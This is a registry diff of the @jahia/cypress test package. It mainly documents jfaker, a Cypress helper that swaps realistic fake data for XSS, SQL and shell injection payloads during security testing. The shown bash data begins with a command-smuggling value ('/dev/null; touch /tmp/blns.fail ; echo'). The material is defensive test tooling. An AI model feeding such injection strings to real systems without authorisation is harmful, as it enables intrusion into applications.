@jahia/cypress 7.4.0 → 8.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +35 -0
- package/README.md +69 -2
- package/dist/index.js +6 -2
- package/dist/injections/bash-data.d.ts +1 -0
- package/dist/injections/bash-data.js +57 -0
- package/dist/injections/chars-data.d.ts +1 -0
- package/dist/injections/chars-data.js +25 -0
- package/dist/injections/htmlentities-data.d.ts +1 -0
- package/dist/injections/htmlentities-data.js +22 -0
- package/dist/injections/numbers-data.d.ts +1 -0
- package/dist/injections/numbers-data.js +66 -0
- package/dist/injections/sql-data.d.ts +1 -0
- package/dist/injections/sql-data.js +82 -0
- package/dist/injections/xss-data.d.ts +1 -0
- package/dist/injections/xss-data.js +740 -0
- package/dist/page-object/baseComponent.d.ts +1 -2
- package/dist/page-object/baseComponent.js +10 -6
- package/dist/page-object/basePage.js +1 -1
- package/dist/page-object/html/iframe.d.ts +0 -1
- package/dist/page-object/html/iframe.js +2 -2
- package/dist/page-object/html/index.js +6 -2
- package/dist/page-object/index.js +6 -2
- package/dist/page-object/material/index.js +6 -2
- package/dist/page-object/material/muiinput.d.ts +0 -1
- package/dist/page-object/material/muiinput.js +1 -1
- package/dist/page-object/material/muiradio.js +1 -1
- package/dist/page-object/moonstone/accordion.d.ts +0 -1
- package/dist/page-object/moonstone/accordion.js +2 -2
- package/dist/page-object/moonstone/button.js +1 -1
- package/dist/page-object/moonstone/collapsible.js +1 -1
- package/dist/page-object/moonstone/dropdown.js +2 -2
- package/dist/page-object/moonstone/index.js +6 -2
- package/dist/page-object/moonstone/menu.js +9 -9
- package/dist/page-object/moonstone/pagination.js +3 -3
- package/dist/page-object/moonstone/primaryNav.js +2 -2
- package/dist/page-object/moonstone/secondaryNav.js +1 -1
- package/dist/page-object/moonstone/table.d.ts +0 -1
- package/dist/page-object/moonstone/table.js +5 -5
- package/dist/page-object/utils.d.ts +0 -1
- package/dist/page-object/utils.js +11 -12
- package/dist/plugins/env.js +2 -2
- package/dist/plugins/index.js +6 -2
- package/dist/plugins/registerPlugins.js +2 -2
- package/dist/support/apollo/apollo.d.ts +5 -4
- package/dist/support/apollo/apollo.js +80 -18
- package/dist/support/apollo/apolloClient.d.ts +1 -2
- package/dist/support/apollo/apolloClient.js +7 -7
- package/dist/support/apollo/index.js +6 -2
- package/dist/support/apollo/links.d.ts +1 -1
- package/dist/support/apollo/links.js +5 -6
- package/dist/support/browserHelper.d.ts +10 -0
- package/dist/support/browserHelper.js +167 -0
- package/dist/support/commands.js +1 -1
- package/dist/support/fixture.d.ts +1 -1
- package/dist/support/fixture.js +11 -7
- package/dist/support/index.d.ts +3 -0
- package/dist/support/index.js +9 -2
- package/dist/support/jfaker.d.ts +60 -0
- package/dist/support/jfaker.js +241 -0
- package/dist/support/jsErrorsLogger.js +13 -9
- package/dist/support/login.d.ts +0 -1
- package/dist/support/login.js +2 -2
- package/dist/support/logout.d.ts +0 -1
- package/dist/support/logout.js +1 -1
- package/dist/support/modSince.d.ts +52 -0
- package/dist/support/modSince.js +180 -0
- package/dist/support/provisioning/executeGroovy.d.ts +1 -1
- package/dist/support/provisioning/executeGroovy.js +42 -3
- package/dist/support/provisioning/index.js +6 -2
- package/dist/support/provisioning/installConfig.d.ts +0 -1
- package/dist/support/provisioning/installConfig.js +3 -3
- package/dist/support/provisioning/installModule.d.ts +0 -1
- package/dist/support/provisioning/installModule.js +1 -1
- package/dist/support/provisioning/runProvisioningScript.d.ts +4 -5
- package/dist/support/provisioning/runProvisioningScript.js +86 -9
- package/dist/support/provisioning/uninstallModule.d.ts +0 -1
- package/dist/support/provisioning/uninstallModule.js +1 -1
- package/dist/support/registerSupport.js +35 -1
- package/dist/support/repeatUntil.d.ts +1 -2
- package/dist/support/repeatUntil.js +2 -2
- package/dist/support/testStep.js +2 -2
- package/dist/utils/ClusterHelper.js +1 -1
- package/dist/utils/ExportHelper.d.ts +2 -2
- package/dist/utils/ExportHelper.js +14 -10
- package/dist/utils/GraphQLHelper.js +21 -17
- package/dist/utils/JCRHelper.d.ts +1 -1
- package/dist/utils/JCRHelper.js +1 -1
- package/dist/utils/JahiaPlatformHelper.js +2 -2
- package/dist/utils/Logger.js +6 -6
- package/dist/utils/PublicationAndWorkflowHelper.js +3 -3
- package/dist/utils/SAMHelper.d.ts +1 -1
- package/dist/utils/SAMHelper.js +4 -4
- package/dist/utils/SiteHelper.js +2 -2
- package/dist/utils/UsersHelper.js +2 -2
- package/dist/utils/VanityUrlHelper.js +1 -1
- package/dist/utils/index.js +6 -2
- package/docs/browser-helper.md +158 -0
- package/docs/jfaker.md +450 -0
- package/package.json +13 -10
- package/src/injections/bash-data.ts +54 -0
- package/src/injections/chars-data.ts +22 -0
- package/src/injections/htmlentities-data.ts +19 -0
- package/src/injections/numbers-data.ts +63 -0
- package/src/injections/sql-data.ts +79 -0
- package/src/injections/xss-data.ts +737 -0
- package/src/page-object/baseComponent.ts +6 -6
- package/src/page-object/html/iframe.ts +3 -3
- package/src/page-object/material/muiinput.ts +1 -1
- package/src/page-object/material/muiradio.ts +1 -1
- package/src/page-object/moonstone/accordion.ts +1 -1
- package/src/page-object/moonstone/button.ts +1 -1
- package/src/page-object/moonstone/collapsible.ts +1 -1
- package/src/page-object/moonstone/dropdown.ts +1 -1
- package/src/page-object/moonstone/menu.ts +1 -1
- package/src/page-object/moonstone/pagination.ts +1 -1
- package/src/page-object/moonstone/primaryNav.ts +1 -1
- package/src/page-object/moonstone/secondaryNav.ts +1 -1
- package/src/page-object/moonstone/table.ts +2 -2
- package/src/support/apollo/apollo.ts +74 -11
- package/src/support/apollo/links.ts +1 -2
- package/src/support/browserHelper.ts +186 -0
- package/src/support/index.ts +3 -0
- package/src/support/jfaker.ts +245 -0
- package/src/support/modSince.ts +222 -0
- package/src/support/provisioning/executeGroovy.md +7 -1
- package/src/support/provisioning/executeGroovy.ts +46 -2
- package/src/support/provisioning/runProvisioningScript.ts +89 -12
- package/src/support/registerSupport.ts +29 -0
- package/tests/cypress/e2e/jfaker.spec.ts +411 -0
- package/tests/cypress/e2e/modSince.spec.ts +306 -0
- package/tests/cypress.config.ts +23 -0
- package/tests/package.json +41 -0
- package/tests/reporter-config.json +13 -0
- package/tests/yarn.lock +8578 -0
- package/tsconfig.json +3 -0
package/docs/jfaker.md
ADDED
|
@@ -0,0 +1,450 @@
|
|
|
1
|
+
# jFaker - Fake Data Generation Module
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
The `jfaker` module is a flexible fake data generation utility for Cypress testing that combines the power of [Faker.js](https://fakerjs.dev/) with security-focused injection payload generation. It provides a unified API to generate both realistic test data and security testing payloads (XSS, SQL injection, etc.) through a dynamic proxy-based interface.
|
|
6
|
+
|
|
7
|
+
## Key Features
|
|
8
|
+
|
|
9
|
+
- **Faker.js Integration**: Full access to all `Faker.js` methods for generating realistic test data
|
|
10
|
+
- **Security Injection Payloads**: Built-in support for common injection attack vectors (XSS, SQL, Bash, etc.)
|
|
11
|
+
- **Global Type Management**: Set a global data type that automatically overrides faker calls with injection data
|
|
12
|
+
- **Flexible Configuration**: Control generation behavior with options like length, provider, and overridability
|
|
13
|
+
- **Dynamic API**: Chain method calls naturally (e.g., `jfaker.person.firstName()`)
|
|
14
|
+
- **String Escaping**: Built-in utility to escape special characters for safe usage
|
|
15
|
+
|
|
16
|
+
## Installation
|
|
17
|
+
|
|
18
|
+
The module is automatically available when using the jahia-cypress package:
|
|
19
|
+
|
|
20
|
+
```typescript
|
|
21
|
+
import {jfaker} from '@jahia/cypress';
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
## API Reference
|
|
25
|
+
|
|
26
|
+
### Data Generation Methods
|
|
27
|
+
|
|
28
|
+
#### Faker.js Methods
|
|
29
|
+
|
|
30
|
+
All `Faker.js` methods are available through the dynamic proxy. See [Faker.js API documentation](https://fakerjs.dev/api/) for the complete list.
|
|
31
|
+
|
|
32
|
+
**Basic Usage:**
|
|
33
|
+
```typescript
|
|
34
|
+
jfaker.person.firstName() // Returns: "John"
|
|
35
|
+
jfaker.person.lastName() // Returns: "Doe"
|
|
36
|
+
jfaker.internet.email() // Returns: "john.doe@example.com"
|
|
37
|
+
jfaker.location.city() // Returns: "New York"
|
|
38
|
+
jfaker.company.name() // Returns: "Acme Corporation"
|
|
39
|
+
jfaker.lorem.sentence() // Returns: "Lorem ipsum dolor sit amet."
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
**With Options:**
|
|
43
|
+
```typescript
|
|
44
|
+
jfaker.internet.email({provider: 'example.com'}) // Returns: "user@example.com"
|
|
45
|
+
jfaker.string.alpha({length: 10}) // Returns: 10-character string
|
|
46
|
+
jfaker.number.int({min: 1, max: 100}) // Returns: random number 1-100
|
|
47
|
+
jfaker.lorem.word({length: {min: 5, max: 10}}) // Returns: word with 5-10 chars
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
#### Injection Payload Methods
|
|
51
|
+
|
|
52
|
+
Generate security testing payloads for various attack vectors:
|
|
53
|
+
|
|
54
|
+
- **`.xss()`** - Cross-Site Scripting (XSS) payloads
|
|
55
|
+
- **`.sql()`** - SQL injection payloads
|
|
56
|
+
- **`.bash()`** - Bash/shell command injection payloads
|
|
57
|
+
- **`.chars()`** - Random special characters
|
|
58
|
+
- **`.htmlentities()`** - HTML entities
|
|
59
|
+
- **`.numbers()`** - Number-based edge cases and payloads
|
|
60
|
+
|
|
61
|
+
**Basic Usage:**
|
|
62
|
+
```typescript
|
|
63
|
+
// Default behavior (no length specified): 2-5 random items joined
|
|
64
|
+
jfaker.xss() // Returns: random XSS payload
|
|
65
|
+
jfaker.sql() // Returns: random SQL injection payload
|
|
66
|
+
jfaker.bash() // Returns: random Bash injection payload
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
**With Length Control:**
|
|
70
|
+
```typescript
|
|
71
|
+
// Generate specific length (characters will be randomly selected and joined)
|
|
72
|
+
jfaker.xss({length: 100}) // Returns: XSS payload exactly 100 chars long
|
|
73
|
+
jfaker.sql({length: 50}) // Returns: SQL payload exactly 50 chars long
|
|
74
|
+
|
|
75
|
+
// Use all available payloads for the type
|
|
76
|
+
jfaker.xss({length: -1}) // Returns: all XSS payloads joined together
|
|
77
|
+
jfaker.sql({length: -1}) // Returns: all SQL payloads joined together
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### Utility Methods
|
|
81
|
+
|
|
82
|
+
#### `setDataType(type: string): void`
|
|
83
|
+
|
|
84
|
+
Sets the global data type for all subsequent jfaker calls. When set to an injection type, all faker method calls will return injection data instead.
|
|
85
|
+
|
|
86
|
+
**Parameters:**
|
|
87
|
+
- `type`: One of `'faker'`, `'xss'`, `'sql'`, `'bash'`, `'chars'`, `'htmlentities'`, or `'numbers'`
|
|
88
|
+
|
|
89
|
+
**Usage:**
|
|
90
|
+
```typescript
|
|
91
|
+
// Set to generate XSS payloads by default
|
|
92
|
+
jfaker.setDataType('xss');
|
|
93
|
+
|
|
94
|
+
// Now all calls return XSS data (unless safe: true is used)
|
|
95
|
+
jfaker.person.firstName(); // Returns: XSS payload, not a real name
|
|
96
|
+
jfaker.internet.email(); // Returns: XSS payload, not a real email
|
|
97
|
+
|
|
98
|
+
// Reset to normal faker behavior
|
|
99
|
+
jfaker.setDataType('faker');
|
|
100
|
+
jfaker.person.firstName(); // Returns: "John" (normal faker data)
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
**CI/CD Integration:**
|
|
104
|
+
|
|
105
|
+
The data type can also be set via the `JAHIA_CYPRESS_INJECTION_TYPE` environment variable from your CI/CD pipeline:
|
|
106
|
+
|
|
107
|
+
```bash
|
|
108
|
+
# Run tests with XSS injection data
|
|
109
|
+
JAHIA_CYPRESS_INJECTION_TYPE=xss
|
|
110
|
+
|
|
111
|
+
# Run tests with SQL injection data
|
|
112
|
+
JAHIA_CYPRESS_INJECTION_TYPE=sql
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
#### `getDataType(): string`
|
|
116
|
+
|
|
117
|
+
Retrieves the current global data type.
|
|
118
|
+
|
|
119
|
+
**Returns:** The current data type (defaults to `'faker'` if not set)
|
|
120
|
+
|
|
121
|
+
**Usage:**
|
|
122
|
+
```typescript
|
|
123
|
+
jfaker.setDataType('xss');
|
|
124
|
+
console.log(jfaker.getDataType()); // Outputs: "xss"
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
#### `escape(str: string): string`
|
|
128
|
+
|
|
129
|
+
Escapes special characters in a string to prevent issues when used in HTML or JavaScript contexts. E.g.: say, page properly handles xss injections and displays them escaped. In this case, it makes sense to validate these using `escape()` funtion.
|
|
130
|
+
|
|
131
|
+
**Parameters:**
|
|
132
|
+
- `str`: String to escape
|
|
133
|
+
|
|
134
|
+
**Returns:** Escaped string
|
|
135
|
+
|
|
136
|
+
**Usage:**
|
|
137
|
+
```typescript
|
|
138
|
+
jfaker.escape('Hello "World"'); // Returns: 'Hello \"World\"'
|
|
139
|
+
jfaker.escape('Line1\nLine2'); // Returns: 'Line1\\nLine2'
|
|
140
|
+
jfaker.escape('Tab\there'); // Returns: 'Tab\\there'
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
## Advanced Usage
|
|
144
|
+
|
|
145
|
+
### Safe Option
|
|
146
|
+
|
|
147
|
+
When a global injection type is overridden, you can force specific calls to keep using `Faker.js` data by setting `safe: true`.
|
|
148
|
+
|
|
149
|
+
```typescript
|
|
150
|
+
// Set global type to XSS
|
|
151
|
+
jfaker.setDataType('xss');
|
|
152
|
+
|
|
153
|
+
// This returns XSS payload
|
|
154
|
+
jfaker.person.firstName();
|
|
155
|
+
|
|
156
|
+
// This forces Faker.js data generation (overrides global setting)
|
|
157
|
+
// Call down below always returns human-readable first name, e.g.: "John"
|
|
158
|
+
jfaker.person.firstName({safe: true});
|
|
159
|
+
|
|
160
|
+
// Combining with other options
|
|
161
|
+
// Call down below always returns human-readable email,
|
|
162
|
+
// e.g. "user@example.com" (faker data with provider option)
|
|
163
|
+
jfaker.internet.email({
|
|
164
|
+
provider: 'example.com',
|
|
165
|
+
safe: true
|
|
166
|
+
});
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
### Options Summary
|
|
170
|
+
|
|
171
|
+
| Option | Type | Injection Methods | Faker Methods | Description |
|
|
172
|
+
|--------------------|------|-------------------|---------------|----------------------------------------------------------------------------------------------------|
|
|
173
|
+
| `length` | `number` | ✅ | ✅* | For injections: exact character length (-1 = all payloads). For faker: passed to the faker method. |
|
|
174
|
+
| `safe` | `boolean` | ❌ | ✅ | When `true`, forces to use `Faker.js` data even when global type is overridden (set to injection). |
|
|
175
|
+
| *any faker option* | various | ❌ | ✅ | Any option supported by the specific Faker.js method (e.g., `provider`, `min`, `max`). |
|
|
176
|
+
|
|
177
|
+
\* Many Faker.js methods accept a `length` option, such as `jfaker.string.alpha({length: 10})`.
|
|
178
|
+
|
|
179
|
+
## Usage Examples
|
|
180
|
+
|
|
181
|
+
### Example 1: Form Testing with Realistic Data
|
|
182
|
+
|
|
183
|
+
```typescript
|
|
184
|
+
describe('User Registration Form', () => {
|
|
185
|
+
it('should register a new user', () => {
|
|
186
|
+
cy.visit('/register');
|
|
187
|
+
|
|
188
|
+
cy.get('#firstName').type(jfaker.person.firstName());
|
|
189
|
+
cy.get('#lastName').type(jfaker.person.lastName());
|
|
190
|
+
cy.get('#email').type(jfaker.internet.email({provider: 'testdomain.com'}));
|
|
191
|
+
cy.get('#phone').type(jfaker.phone.number());
|
|
192
|
+
cy.get('#company').type(jfaker.company.name());
|
|
193
|
+
cy.get('#city').type(jfaker.location.city());
|
|
194
|
+
|
|
195
|
+
cy.get('#submit').click();
|
|
196
|
+
cy.contains('Registration successful').should('be.visible');
|
|
197
|
+
});
|
|
198
|
+
});
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
### Example 2: Security Testing with Injection Payloads
|
|
202
|
+
|
|
203
|
+
```typescript
|
|
204
|
+
describe('Input Validation - XSS Protection', () => {
|
|
205
|
+
it('should sanitize XSS payloads in username field', () => {
|
|
206
|
+
cy.visit('/profile');
|
|
207
|
+
|
|
208
|
+
const xssPayload = jfaker.xss({length: 50});
|
|
209
|
+
|
|
210
|
+
cy.get('#username').type(xssPayload, {
|
|
211
|
+
parseSpecialCharSequences: false // Important!
|
|
212
|
+
});
|
|
213
|
+
|
|
214
|
+
cy.get('#save').click();
|
|
215
|
+
|
|
216
|
+
// Verify the payload is escaped/sanitized
|
|
217
|
+
cy.get('#username-display').invoke('text').then(text => {
|
|
218
|
+
expect(text).not.to.include('<script>');
|
|
219
|
+
});
|
|
220
|
+
});
|
|
221
|
+
});
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
### Example 3: Global Injection Testing
|
|
225
|
+
|
|
226
|
+
```typescript
|
|
227
|
+
describe('Security Test Suite - SQL Injection', () => {
|
|
228
|
+
before(() => {
|
|
229
|
+
// Set global type to SQL injection for the entire suite
|
|
230
|
+
jfaker.setDataType('sql');
|
|
231
|
+
});
|
|
232
|
+
|
|
233
|
+
after(() => {
|
|
234
|
+
// Reset to faker after tests
|
|
235
|
+
jfaker.setDataType('faker');
|
|
236
|
+
});
|
|
237
|
+
|
|
238
|
+
it('should protect search from SQL injection', () => {
|
|
239
|
+
cy.visit('/search');
|
|
240
|
+
|
|
241
|
+
// This returns SQL injection payload due to global setting
|
|
242
|
+
const searchTerm = jfaker.lorem.word();
|
|
243
|
+
|
|
244
|
+
cy.get('#search').type(searchTerm, {parseSpecialCharSequences: false});
|
|
245
|
+
cy.get('#search-btn').click();
|
|
246
|
+
cy.contains('No results found').should('be.visible');
|
|
247
|
+
});
|
|
248
|
+
|
|
249
|
+
it('should use faker data when explicitly needed', () => {
|
|
250
|
+
cy.visit('/search');
|
|
251
|
+
|
|
252
|
+
// Force to use Faker.js data for this specific call
|
|
253
|
+
const normalSearch = jfaker.lorem.word({safe: true});
|
|
254
|
+
|
|
255
|
+
cy.get('#search').type(normalSearch);
|
|
256
|
+
cy.get('#search-btn').click();
|
|
257
|
+
// Test with normal search term...
|
|
258
|
+
});
|
|
259
|
+
});
|
|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
### Example 4: Comprehensive Input Fuzzing
|
|
263
|
+
|
|
264
|
+
```typescript
|
|
265
|
+
describe('Input Field Robustness', () => {
|
|
266
|
+
const injectionTypes = ['xss', 'sql', 'bash', 'chars', 'htmlentities', 'numbers'];
|
|
267
|
+
|
|
268
|
+
injectionTypes.forEach(type => {
|
|
269
|
+
it(`should handle ${type} injection payloads`, () => {
|
|
270
|
+
cy.visit('/form');
|
|
271
|
+
|
|
272
|
+
const payload = jfaker[type]();
|
|
273
|
+
|
|
274
|
+
cy.get('#input-field').type(payload, {
|
|
275
|
+
parseSpecialCharSequences: false
|
|
276
|
+
});
|
|
277
|
+
|
|
278
|
+
cy.get('#submit').click();
|
|
279
|
+
|
|
280
|
+
// Verify no errors or security issues
|
|
281
|
+
cy.get('.error-message').should('not.exist');
|
|
282
|
+
});
|
|
283
|
+
});
|
|
284
|
+
});
|
|
285
|
+
```
|
|
286
|
+
|
|
287
|
+
### Example 5: Dynamic Test Data Creation
|
|
288
|
+
|
|
289
|
+
```typescript
|
|
290
|
+
describe('User Creation', () => {
|
|
291
|
+
it('should create multiple users with unique data', () => {
|
|
292
|
+
for (let i = 0; i < 5; i++) {
|
|
293
|
+
const user = {
|
|
294
|
+
firstName: jfaker.person.firstName(),
|
|
295
|
+
lastName: jfaker.person.lastName(),
|
|
296
|
+
email: jfaker.internet.email(),
|
|
297
|
+
username: jfaker.internet.userName(),
|
|
298
|
+
password: jfaker.internet.password({length: 12}),
|
|
299
|
+
bio: jfaker.lorem.paragraph(),
|
|
300
|
+
age: jfaker.number.int({min: 18, max: 80})
|
|
301
|
+
};
|
|
302
|
+
|
|
303
|
+
cy.request('POST', '/api/users', user).then(response => {
|
|
304
|
+
expect(response.status).to.eq(201);
|
|
305
|
+
});
|
|
306
|
+
}
|
|
307
|
+
});
|
|
308
|
+
});
|
|
309
|
+
```
|
|
310
|
+
|
|
311
|
+
### Data Persistence
|
|
312
|
+
|
|
313
|
+
The global data type is stored in Cypress environment variables (`JAHIA_CYPRESS_INJECTION_TYPE`), which means:
|
|
314
|
+
- It persists across specs within a test run
|
|
315
|
+
- It can be set from CI/CD pipelines as an environment variable
|
|
316
|
+
- It's cleared when Cypress restarts
|
|
317
|
+
|
|
318
|
+
## Best Practices
|
|
319
|
+
|
|
320
|
+
1. **Reset Global Type**: Always reset the global data type after your test suite if you've changed it and other suites are expected to run afterwards:
|
|
321
|
+
```typescript
|
|
322
|
+
after(() => {
|
|
323
|
+
jfaker.setDataType('faker');
|
|
324
|
+
});
|
|
325
|
+
```
|
|
326
|
+
|
|
327
|
+
2. **Use Descriptive Variables**: Store generated data in descriptive variables for better test readability:
|
|
328
|
+
```typescript
|
|
329
|
+
const userEmail = jfaker.internet.email({provider: 'test.com'});
|
|
330
|
+
const xssPayload = jfaker.xss({length: 100});
|
|
331
|
+
```
|
|
332
|
+
|
|
333
|
+
3. **Security Testing using existing tests codebase**: Use `jfaker` within your tests instead of hardcoded strings or direct `Faker.js` calls. In this case, the same codebase can be used for e2e as well as for injections testing by means of passing specific injections type from CI/CD or runtime (when injections type is not explicitly set, `Faker.js` is used by default). Use `safe: true` for values which should always return `Faker.js` entities.
|
|
334
|
+
|
|
335
|
+
4. **CI/CD Integration**: Use environment variables to run the same test suite with different data types:
|
|
336
|
+
```bash
|
|
337
|
+
# Security tests with XSS
|
|
338
|
+
JAHIA_CYPRESS_INJECTION_TYPE=xss npm run cypress:run
|
|
339
|
+
|
|
340
|
+
# Security tests with SQL injection
|
|
341
|
+
JAHIA_CYPRESS_INJECTION_TYPE=sql npm run cypress:run
|
|
342
|
+
```
|
|
343
|
+
|
|
344
|
+
## Technical Details
|
|
345
|
+
|
|
346
|
+
### Architecture
|
|
347
|
+
|
|
348
|
+
The module uses a `DeepApi` class that implements a Proxy-based architecture:
|
|
349
|
+
- **Property access** creates a deeper proxy, building a path (e.g., `person.firstName`)
|
|
350
|
+
- **Function calls** execute the handler with the accumulated path and arguments
|
|
351
|
+
- This enables the dynamic, chainable API without pre-defining all possible methods
|
|
352
|
+
|
|
353
|
+
### Injection Data Sources
|
|
354
|
+
|
|
355
|
+
Injection payloads are imported from TypeScript files in the `src/injections/` directory:
|
|
356
|
+
- `xss-data.ts` - XSS attack vectors
|
|
357
|
+
- `sql-data.ts` - SQL injection patterns
|
|
358
|
+
- `bash-data.ts` - Shell command injections
|
|
359
|
+
- `chars-data.ts` - Special characters
|
|
360
|
+
- `htmlentities-data.ts` - HTML entity variations
|
|
361
|
+
- `numbers-data.ts` - Numeric edge cases
|
|
362
|
+
|
|
363
|
+
### Length Handling for Injections
|
|
364
|
+
|
|
365
|
+
- **Undefined length**: Picks 2-5 random items from the payload array and joins them
|
|
366
|
+
- **Positive length**: Concatenates random items until reaching the specified character count, then trims to exact length
|
|
367
|
+
- **Length = -1**: Returns all available payloads for that type joined together
|
|
368
|
+
|
|
369
|
+
## IMPORTANT: Cypress `.type()` Command
|
|
370
|
+
|
|
371
|
+
### Why this matters
|
|
372
|
+
|
|
373
|
+
Cypress `type()` treats sequences such as `{enter}` and characters such as `{` or `}` as special commands.
|
|
374
|
+
That is a problem for injection payloads, because many payloads contain those same characters and should be typed literally.
|
|
375
|
+
|
|
376
|
+
### What `jahia-cypress` does automatically
|
|
377
|
+
|
|
378
|
+
To reduce the need to set `parseSpecialCharSequences` everywhere, `jahia-cypress` overwrites Cypress `type()` with this rule:
|
|
379
|
+
|
|
380
|
+
- If `jfaker.getDataType() !== 'faker'` at the time of the `type()` call, `parseSpecialCharSequences` is automatically set to `false`.
|
|
381
|
+
- If `jfaker.getDataType() === 'faker'`, Cypress keeps its default behavior.
|
|
382
|
+
|
|
383
|
+
This covers most common cases.
|
|
384
|
+
|
|
385
|
+
### When you still need to set it explicitly
|
|
386
|
+
|
|
387
|
+
You should still pass `parseSpecialCharSequences` yourself in these edge cases:
|
|
388
|
+
|
|
389
|
+
1. **You want Cypress command sequences to work even though the global `jfaker` type is an injection type.**
|
|
390
|
+
Use `parseSpecialCharSequences: true`.
|
|
391
|
+
2. **You use a direct injection call such as `jfaker.xss()` while the global `jfaker` type is still `faker`.**
|
|
392
|
+
Use `parseSpecialCharSequences: false`.
|
|
393
|
+
|
|
394
|
+
In short, the automatic behavior depends on the **global `jfaker` type when `type()` runs**, not on how the value was generated.
|
|
395
|
+
|
|
396
|
+
### Example 1: Global injection mode, but one field still needs `{enter}` as a command
|
|
397
|
+
|
|
398
|
+
```typescript
|
|
399
|
+
// Env variable: JAHIA_CYPRESS_INJECTION_TYPE=xss
|
|
400
|
+
|
|
401
|
+
// Returns an XSS payload because the global type is xss
|
|
402
|
+
const firstName = jfaker.person.firstName();
|
|
403
|
+
|
|
404
|
+
// Returns a normal Faker.js email because safe: true overrides the global type for this value only
|
|
405
|
+
const email = jfaker.internet.email({safe: true});
|
|
406
|
+
|
|
407
|
+
// Because the global type is still xss at type() time,
|
|
408
|
+
// special sequences are treated literally.
|
|
409
|
+
cy.findById('firstName').type(`${firstName}{enter}`);
|
|
410
|
+
|
|
411
|
+
// We want {enter} to act as a Cypress command for this field,
|
|
412
|
+
// so we must override the automatic behavior explicitly.
|
|
413
|
+
cy.findById('email').type(`${email}{enter}`, {parseSpecialCharSequences: true});
|
|
414
|
+
```
|
|
415
|
+
|
|
416
|
+
### Example 2: Global Faker mode, but one field must always receive an injection payload
|
|
417
|
+
|
|
418
|
+
```typescript
|
|
419
|
+
// Env variable: JAHIA_CYPRESS_INJECTION_TYPE=faker
|
|
420
|
+
|
|
421
|
+
// Returns normal Faker.js data
|
|
422
|
+
const firstName = jfaker.person.firstName();
|
|
423
|
+
|
|
424
|
+
// Returns an XSS payload directly, regardless of the global faker setting
|
|
425
|
+
const email = jfaker.xss();
|
|
426
|
+
|
|
427
|
+
// Default Cypress behavior is fine here
|
|
428
|
+
cy.findById('firstName').type(firstName);
|
|
429
|
+
|
|
430
|
+
// Because the global type is faker at type() time,
|
|
431
|
+
// Cypress would still try to interpret special characters as commands.
|
|
432
|
+
// Force literal typing for the payload.
|
|
433
|
+
cy.findById('email').type(email, {parseSpecialCharSequences: false});
|
|
434
|
+
```
|
|
435
|
+
|
|
436
|
+
### Rule of thumb
|
|
437
|
+
|
|
438
|
+
- Want Cypress sequences such as `{enter}` to act as commands? Set `parseSpecialCharSequences: true`.
|
|
439
|
+
- Want an explicitly generated injection payload to be typed literally? Set `parseSpecialCharSequences: false`.
|
|
440
|
+
- Otherwise, omit the option and use the default `jahia-cypress` behavior.
|
|
441
|
+
|
|
442
|
+
## See Also
|
|
443
|
+
|
|
444
|
+
- [Faker.js API Documentation](https://fakerjs.dev/api/) - Complete reference for all faker methods
|
|
445
|
+
- [OWASP Injection Attacks](https://owasp.org/www-community/Injection_Flaws) - Understanding injection vulnerabilities
|
|
446
|
+
- [Cypress Type Command](https://docs.cypress.io/api/commands/type) - Details on the `type()` command options
|
|
447
|
+
|
|
448
|
+
## Support
|
|
449
|
+
|
|
450
|
+
For issues, questions, or contributions related to the jfaker module, please refer to the main jahia-cypress repository.
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@jahia/cypress",
|
|
3
|
-
"version": "
|
|
3
|
+
"version": "8.1.0",
|
|
4
4
|
"scripts": {
|
|
5
5
|
"build": "tsc",
|
|
6
6
|
"lint": "eslint src -c .eslintrc.json --ext .ts --max-warnings=0"
|
|
@@ -19,21 +19,24 @@
|
|
|
19
19
|
"url": "git+https://github.com/Jahia/jahia-cypress.git"
|
|
20
20
|
},
|
|
21
21
|
"devDependencies": {
|
|
22
|
-
"@
|
|
23
|
-
"@
|
|
24
|
-
"@typescript-eslint/
|
|
22
|
+
"@chachalog/types": "^0.5.0",
|
|
23
|
+
"@jahia/eslint-config": "^2.2.0",
|
|
24
|
+
"@typescript-eslint/eslint-plugin": "^8.57.1",
|
|
25
|
+
"@typescript-eslint/parser": "^8.57.1",
|
|
25
26
|
"cross-fetch": "^3.1.5",
|
|
26
|
-
"cypress": "^12.
|
|
27
|
-
"cypress-wait-until": "^
|
|
28
|
-
"eslint": "^
|
|
29
|
-
"eslint-plugin-cypress": "^2.
|
|
30
|
-
"eslint-plugin-jest": "^
|
|
27
|
+
"cypress": "^12.17.4",
|
|
28
|
+
"cypress-wait-until": "^3.0.2",
|
|
29
|
+
"eslint": "^8.57.1",
|
|
30
|
+
"eslint-plugin-cypress": "^2.15.2",
|
|
31
|
+
"eslint-plugin-jest": "^29.15.0",
|
|
31
32
|
"eslint-plugin-react": "^7.32.2",
|
|
32
33
|
"eslint-plugin-react-hooks": "^4.6.0",
|
|
33
|
-
"typescript": "^
|
|
34
|
+
"typescript": "^5.9.3"
|
|
34
35
|
},
|
|
35
36
|
"dependencies": {
|
|
36
37
|
"@apollo/client": "^3.4.9",
|
|
38
|
+
"@faker-js/faker": "^10.3.0",
|
|
39
|
+
"compare-versions": "^6.1.1",
|
|
37
40
|
"cypress-real-events": "^1.11.0",
|
|
38
41
|
"graphql": "^15.5.0",
|
|
39
42
|
"graphql-tag": "^2.11.0"
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
export const bashData: string[] = [
|
|
2
|
+
'--version',
|
|
3
|
+
'--help',
|
|
4
|
+
'$USER',
|
|
5
|
+
'/dev/null; touch /tmp/blns.fail ; echo',
|
|
6
|
+
